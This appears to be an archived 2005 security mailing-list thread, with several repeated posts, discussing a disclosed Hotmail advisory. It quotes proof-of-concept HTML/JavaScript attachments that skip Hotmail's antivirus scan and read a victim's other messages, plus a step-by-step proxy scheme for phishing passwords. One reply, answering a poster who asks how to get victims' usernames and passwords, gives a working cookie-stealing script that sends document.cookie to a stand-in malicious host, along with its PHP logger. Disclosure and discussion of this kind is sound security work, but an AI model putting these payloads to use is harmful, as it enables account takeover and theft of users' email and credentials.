Discussion:
[VulnWatch] Hotmail Advisories
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Sherwyn Williams
2005-05-04 11:51:17 UTC
Permalink
Ok I think I get what you are saying, however to use this vuln, would
need to have a script running on a server some where that recieves the
username and password?

Or just based on what you have here this can be possible. If one does
not have knowledge of java script, all the would have to do is use those
various html codes you wrote and send that to them as an attachment, but
how would I get the username and password ????
26, of April, 2005
Hotmail Antivirus Attachment Bypass.
Hotmail Cross Site Message Explore.
Hotmail is one of the sites who receive more attacks from Hackers, and
it's
supposed to be one of the more secure sites I have seen. But as some
people
say, you will never get security at 100%. The risk is every time out
there.
* Background
I was testing this until I can get some working code, the authorization
and
validation of the site is one of the better that I seen on a mailing
system,
I never heard about vulnerabilities of hotmail as in others systems, I
just
have knowledge of two flaws discovered. One on 1999 is from George
Guninski,
and the other when the pwdreset function make its public, every year
hotmail
is updated, and getting more secure, and it's hard to believe that no
one
have found this before.
* Description
The flaws are made when the user seems the attachment, we can execute,
code
on the user machine, this could result in information disclosure, and
credentials exposure.
* Analysis
Hotmail Antivirus Attachment Bypass.
This is possible thanks to the way that Hotmail manage HTML
attachments,
when we send a file with html content, hotmail will try open it in a
pop up
windows after McAfee antivirus check is made, so here we have access to
execute some arbitrary JavaScript code.
http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001
<http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001&a=Ses
sionID&msg=MSGID&start=VAR&len=VAR&mimepart=Number&vscan=scan>
&a=SessionID&msg=MSGID&start=VAR&len=VAR&mimepart=Number&vscan=scan
If we seen the next attachment of the file will be the same link but
mimepart is the next one number, so what happen if we ask for the link
without the "vscan=scan" at the end of the line?
Usually we could not make this, but if we take our URL with the
JavaScript
code, and recreate the URL with the next mimepart, and without the
"vscan=scan", we can ask for a window.open(Fakedurl); and the result is
that
the next attachment is called without the needed to pass the antivirus
test
of hotmail.
Risk: High
This could result in a serious damage for users.
Proof of Concept
__________________________________________________________________
<html>
<head>
</head>
<body>
<script>
str1=document.URL;
str2=str1.split("?");
str3=str2[1];
str4=str3.split("&");
str5=str4[1]+"&"+str4[2]+"&"+str4[3]+"&"+str4[4]+"&mimepart=";
str6=str4[5];
str7=str6.split("=");
str8=str7[1];
str9=parseInt(str8)+1;
str10=str5+str9;
str11="http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001
&";
str12=str11+str10;
window.open(str12);
</script>
Hi this is my proof of concept!.
</body>
</html>
____________________________________________________________________________
___
Hotmail Cross Site Message Explore.
This is possible thanks to the way that Hotmail manage HTML
attachments,
when we send a file with html content, hotmail will try open it in a
pop up
windows after McAfee antivirus check is made, so here we have access to
execute some arbitrary JavaScript code.
And plus to this, hotmail uses the next two functions to pass from one
javascript:S('getmsg','','','','','MSGID','','','prev','')
javascript:S('getmsg','','','','','MSGID','','','next','')
As we can see, we only need to pass to the function the actual message
ID,
and call it, and we will have next or previous message on screen,
without
knowledge of the MSGID of the next or previous message.
So if we include arbitrary JavaScript code on the attachment asking for
the
next message, (we can use, hotmail function, or just make our own
function
for this), we can get the all the others messages in account.
Risk: High
This could result in a serious damage for users or/and information
disclosure.
Proof of Concept
__________________________________________________________________
<html>
<head>
</head>
<body>
<script>
str1=document.URL;
str2=str1.split("?");
str3=str2[1];
str4=str3.split("&");
str5="http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?msg=&start=&len=&mf
s=&cmd=next&lastmsgid=";
str6=str4[2];
str7=str6.split("=");
str8=str7[1];
str9="&msgread=&etype=&wo=";
str10=str5+str8+str9+"&"+str4[0]+"&"+str4[1]
window.open(str10);
</script>
hola napa
</body>
</html>
____________________________________________________________________________
___
* Reach
Imagine this situation.
This is a Proof of Concept Situation.
This is just a test, and an example, more ways could be more dangerous.
But
I don't think on expose them. Also the POC of the application I mention
will
not be exposed for security reasons.
______________________________________________________________________
More than 50% of the users could fall on this.
1. One user opens an attachment html from one friend.
2. The windows opens, and the user only seen that hotmail, with hotmail
URL, ask again just for the password, because the session remember your
mail
actual account.
3. At the background, attach have frames to not change the URL user
seems, get the original URL, and call some application on one server,
with
the URL as parameter.
4. This server asks for the page of hotmail with the URL reconstructed
for call the same message.
5. Hotmail responds the login page but only ask the password.
6. Application on server acting as a proxy replacing the post or get
functions to point to the server application, sending the user, and the
password as news parameters for the application.
7. The server logs in as the user, and continues acting like a proxy,
for all session or until the windows gets closed by user, and logs all
information about the session. Or just send a page with close
statement,
after the password has been logged.
Normal users don't see the difference, but we already have all
information
for use the account of the victim user. Or just the application can
spider,
the inbox of them and save them to a database.
______________________________________________________________________
Luis Alberto Cortes Zavala
Senior Security Consultant
http://www.hypersec.co.uk
Sherwyn Williams
Technical Consultant
(917) 650-5139
***@tmail.com
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Jerome Athias
2005-05-04 12:41:15 UTC
Permalink
Post by Sherwyn Williams
Ok I think I get what you are saying, however to use this vuln, would
need to have a script running on a server some where that recieves the
username and password?
Or just based on what you have here this can be possible. If one does not
have knowledge of java script, all the would have to do is use those
various html codes you wrote and send that to them as an attachment, but
how would I get the username and password ????
For example, this is a simple way to steal a cookie:

Inject this code:

<script>window.open('http://www.your-malware-website.com/givemecook.php?cook='%2Bdocument.cookie);</script>


And on "your-malware-website" put this page:

givemecook.php:
<?
echo $HTTP_COOKIE_VARS["cook"];
?>

and so, the cookie will be logged in "your-malware-website"
Post by Sherwyn Williams
I was testing this until I can get some working code, the authorization
and
validation of the site is one of the better that I seen on a mailing
system,
I never heard about vulnerabilities of hotmail as in others systems, I
just
have knowledge of two flaws discovered. One on 1999 is from George
Guninski,
and the other when the pwdreset function make its public, every year
hotmail
is updated, and getting more secure, and it's hard to believe that no one
have found this before.
Try to play with this in hotmail
http://seclists.org/lists/bugtraq/2005/Feb/0473.html

Cheers,
Jerome

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Luis A. Cortes Zavala
2005-05-04 16:15:10 UTC
Permalink
The problem here is that since this new window for attachments, you can not
reach the domain for ask cookie, the document.cookie, is empty, you need to
inject innerHTML for ask cookie, but yes it's possible.

The window that opens attachments is not in the same domain so there's not
cookie, so you have to make cross domain code that it's supposed not to be
possible. So first you need to return to your main window and write some
code to have access.

Cheers
Luis Alberto Cortes Zavala



-----Mensaje original-----
De: Jerome Athias [mailto:***@free.fr]
Enviado el: miƩrcoles, 04 de mayo de 2005 7:41
Para: Sherwyn Williams; Luis A. Cortes Zavala;
full-***@lists.grok.org.uk; ***@vulnwatch.org;
***@securityfocus.com
Asunto: Re: [Full-disclosure] Re: [VulnWatch] Hotmail Advisories
Post by Sherwyn Williams
Ok I think I get what you are saying, however to use this vuln, would
need to have a script running on a server some where that recieves the
username and password?
Or just based on what you have here this can be possible. If one does not
have knowledge of java script, all the would have to do is use those
various html codes you wrote and send that to them as an attachment, but
how would I get the username and password ????
For example, this is a simple way to steal a cookie:

Inject this code:

<script>window.open('http://www.your-malware-website.com/givemecook.php?cook
='%2Bdocument.cookie);</script>


And on "your-malware-website" put this page:

givemecook.php:
<?
echo $HTTP_COOKIE_VARS["cook"];
?>

and so, the cookie will be logged in "your-malware-website"
Post by Sherwyn Williams
I was testing this until I can get some working code, the authorization
and
validation of the site is one of the better that I seen on a mailing
system,
I never heard about vulnerabilities of hotmail as in others systems, I
just
have knowledge of two flaws discovered. One on 1999 is from George
Guninski,
and the other when the pwdreset function make its public, every year
hotmail
is updated, and getting more secure, and it's hard to believe that no one
have found this before.
Try to play with this in hotmail
http://seclists.org/lists/bugtraq/2005/Feb/0473.html

Cheers,
Jerome
Luis A. Cortes Zavala
2005-05-04 16:15:10 UTC
Permalink
The problem here is that since this new window for attachments, you can not
reach the domain for ask cookie, the document.cookie, is empty, you need to
inject innerHTML for ask cookie, but yes it's possible.

The window that opens attachments is not in the same domain so there's not
cookie, so you have to make cross domain code that it's supposed not to be
possible. So first you need to return to your main window and write some
code to have access.

Cheers
Luis Alberto Cortes Zavala



-----Mensaje original-----
De: Jerome Athias [mailto:***@free.fr]
Enviado el: miƩrcoles, 04 de mayo de 2005 7:41
Para: Sherwyn Williams; Luis A. Cortes Zavala;
full-***@lists.grok.org.uk; ***@vulnwatch.org;
***@securityfocus.com
Asunto: Re: [Full-disclosure] Re: [VulnWatch] Hotmail Advisories
Post by Sherwyn Williams
Ok I think I get what you are saying, however to use this vuln, would
need to have a script running on a server some where that recieves the
username and password?
Or just based on what you have here this can be possible. If one does not
have knowledge of java script, all the would have to do is use those
various html codes you wrote and send that to them as an attachment, but
how would I get the username and password ????
For example, this is a simple way to steal a cookie:

Inject this code:

<script>window.open('http://www.your-malware-website.com/givemecook.php?cook
='%2Bdocument.cookie);</script>


And on "your-malware-website" put this page:

givemecook.php:
<?
echo $HTTP_COOKIE_VARS["cook"];
?>

and so, the cookie will be logged in "your-malware-website"
Post by Sherwyn Williams
I was testing this until I can get some working code, the authorization
and
validation of the site is one of the better that I seen on a mailing
system,
I never heard about vulnerabilities of hotmail as in others systems, I
just
have knowledge of two flaws discovered. One on 1999 is from George
Guninski,
and the other when the pwdreset function make its public, every year
hotmail
is updated, and getting more secure, and it's hard to believe that no one
have found this before.
Try to play with this in hotmail
http://seclists.org/lists/bugtraq/2005/Feb/0473.html

Cheers,
Jerome



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Sherwyn Williams
2005-05-04 13:00:59 UTC
Permalink
Ok I think I get what you are saying, however to use this vuln, would
need to have a script running on a server some where that recieves the
username and password?

Or just based on what you have here this can be possible. If one does
not have knowledge of java script, all the would have to do is use those
various html codes you wrote and send that to them as an attachment, but
how would I get the username and password ????
26, of April, 2005
Hotmail Antivirus Attachment Bypass.
Hotmail Cross Site Message Explore.
Hotmail is one of the sites who receive more attacks from Hackers, and
it's
supposed to be one of the more secure sites I have seen. But as some
people
say, you will never get security at 100%. The risk is every time out
there.
* Background
I was testing this until I can get some working code, the authorization
and
validation of the site is one of the better that I seen on a mailing
system,
I never heard about vulnerabilities of hotmail as in others systems, I
just
have knowledge of two flaws discovered. One on 1999 is from George
Guninski,
and the other when the pwdreset function make its public, every year
hotmail
is updated, and getting more secure, and it's hard to believe that no
one
have found this before.
* Description
The flaws are made when the user seems the attachment, we can execute,
code
on the user machine, this could result in information disclosure, and
credentials exposure.
* Analysis
Hotmail Antivirus Attachment Bypass.
This is possible thanks to the way that Hotmail manage HTML
attachments,
when we send a file with html content, hotmail will try open it in a
pop up
windows after McAfee antivirus check is made, so here we have access to
execute some arbitrary JavaScript code.
http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001
<http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001&a=Ses
sionID&msg=MSGID&start=VAR&len=VAR&mimepart=Number&vscan=scan>
&a=SessionID&msg=MSGID&start=VAR&len=VAR&mimepart=Number&vscan=scan
If we seen the next attachment of the file will be the same link but
mimepart is the next one number, so what happen if we ask for the link
without the "vscan=scan" at the end of the line?
Usually we could not make this, but if we take our URL with the
JavaScript
code, and recreate the URL with the next mimepart, and without the
"vscan=scan", we can ask for a window.open(Fakedurl); and the result is
that
the next attachment is called without the needed to pass the antivirus
test
of hotmail.
Risk: High
This could result in a serious damage for users.
Proof of Concept
__________________________________________________________________
<html>
<head>
</head>
<body>
<script>
str1=document.URL;
str2=str1.split("?");
str3=str2[1];
str4=str3.split("&");
str5=str4[1]+"&"+str4[2]+"&"+str4[3]+"&"+str4[4]+"&mimepart=";
str6=str4[5];
str7=str6.split("=");
str8=str7[1];
str9=parseInt(str8)+1;
str10=str5+str9;
str11="http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001
&";
str12=str11+str10;
window.open(str12);
</script>
Hi this is my proof of concept!.
</body>
</html>
____________________________________________________________________________
___
Hotmail Cross Site Message Explore.
This is possible thanks to the way that Hotmail manage HTML
attachments,
when we send a file with html content, hotmail will try open it in a
pop up
windows after McAfee antivirus check is made, so here we have access to
execute some arbitrary JavaScript code.
And plus to this, hotmail uses the next two functions to pass from one
javascript:S('getmsg','','','','','MSGID','','','prev','')
javascript:S('getmsg','','','','','MSGID','','','next','')
As we can see, we only need to pass to the function the actual message
ID,
and call it, and we will have next or previous message on screen,
without
knowledge of the MSGID of the next or previous message.
So if we include arbitrary JavaScript code on the attachment asking for
the
next message, (we can use, hotmail function, or just make our own
function
for this), we can get the all the others messages in account.
Risk: High
This could result in a serious damage for users or/and information
disclosure.
Proof of Concept
__________________________________________________________________
<html>
<head>
</head>
<body>
<script>
str1=document.URL;
str2=str1.split("?");
str3=str2[1];
str4=str3.split("&");
str5="http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?msg=&start=&len=&mf
s=&cmd=next&lastmsgid=";
str6=str4[2];
str7=str6.split("=");
str8=str7[1];
str9="&msgread=&etype=&wo=";
str10=str5+str8+str9+"&"+str4[0]+"&"+str4[1]
window.open(str10);
</script>
hola napa
</body>
</html>
____________________________________________________________________________
___
* Reach
Imagine this situation.
This is a Proof of Concept Situation.
This is just a test, and an example, more ways could be more dangerous.
But
I don't think on expose them. Also the POC of the application I mention
will
not be exposed for security reasons.
______________________________________________________________________
More than 50% of the users could fall on this.
1. One user opens an attachment html from one friend.
2. The windows opens, and the user only seen that hotmail, with hotmail
URL, ask again just for the password, because the session remember your
mail
actual account.
3. At the background, attach have frames to not change the URL user
seems, get the original URL, and call some application on one server,
with
the URL as parameter.
4. This server asks for the page of hotmail with the URL reconstructed
for call the same message.
5. Hotmail responds the login page but only ask the password.
6. Application on server acting as a proxy replacing the post or get
functions to point to the server application, sending the user, and the
password as news parameters for the application.
7. The server logs in as the user, and continues acting like a proxy,
for all session or until the windows gets closed by user, and logs all
information about the session. Or just send a page with close
statement,
after the password has been logged.
Normal users don't see the difference, but we already have all
information
for use the account of the victim user. Or just the application can
spider,
the inbox of them and save them to a database.
______________________________________________________________________
Luis Alberto Cortes Zavala
Senior Security Consultant
http://www.hypersec.co.uk
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